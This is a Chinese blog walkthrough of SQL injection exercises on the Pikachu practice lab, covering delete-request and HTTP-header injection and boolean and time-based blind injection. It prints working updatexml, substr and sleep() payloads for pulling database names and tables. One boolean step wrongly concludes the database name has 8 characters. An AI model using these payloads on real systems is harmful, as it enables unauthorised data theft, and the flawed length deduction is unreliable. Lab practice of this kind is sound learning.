pikachu靶场(sql注入)(delete和http头部注入和盲注)

一、delete注入

1.截取数据包

2.在id=84的后面进行注入

(注入语句上update,insert几乎相同,但这里要写成url编码格式,空格写成%20或+)

注入语句:

+or+updatexml(1,concat(0x7e,version()),0)

3.之后获取版本号和用户,获取数据几近相同

二、http头部注入

1.首先登陆进去

2.在此界面点击退出进行抓包

黄色部分都可以试试,都可以注入

注入语句:

'  or  updatexml(1,concat(0x7e,user()),0)  or '

三、盲注

概述:在没有回显的情况下,用返回的结果来判断

1.布尔盲注

(1)首先输入 kobe' 返回不存在信息

(2)kobe'# 返回正确信息

(3)分别输入

kobe' and 1=1 #返回正常

kobe' and 1=2 # 返回错误

可以判断存在字符型注入点

(4)进行数据库长度测试

kobe' and length(database())>=1 #

更改后面的参数来测试数据库名的长度当测试到

kobe' and length(database())>=8 #

返回错误。所以得知数据库长度为8

(5)数据库第一个字母尝试测试

  ①substr(a,b,c)用法 

a是字符串

b是从哪开始

c是截取几个

  ②因为数据库的第一个字母一般是0-9或a-z,所以挨个进行测试当测试到p时

kobe' and substr(database(),1,1)='p'#           

显示出正确信息,表示第一个字母是p

(6)在根据已知数据库知道数据库名,查询表名,最终知道第一个表的第

kobe' and substr((select table_name  from information_schema.tables where table_schema='pikachu' limit 0,1),1,1)='h'#

2.时间盲注

时间盲注主要根据响应时间的长短 来判断正确与否,时间注入是利用sleep()或benchmark()等函数让mysql的执行时间变长。时间盲注常用if(a,b,c),与三目运算类似符类似,a是条件,b是a成立时返回值,c是不成立时返回值。

1.首先可以来测试数据库长度,当测试到此

kobe' and if(length(database())>=8,sleep(4),null)#

页面及时响应。可知数据库为7位。

2.测试数据库第一个字符

kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

依次对七个字符进行测试。

3.对表名进行测试(和布尔类似)

kobe' and if((substr((select table_name  from information_schema.tables where table_schema='pikachu' limit 0,1),1,1))='h',sleep(5),null)#


版权声明:本文为weixin_54431413原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。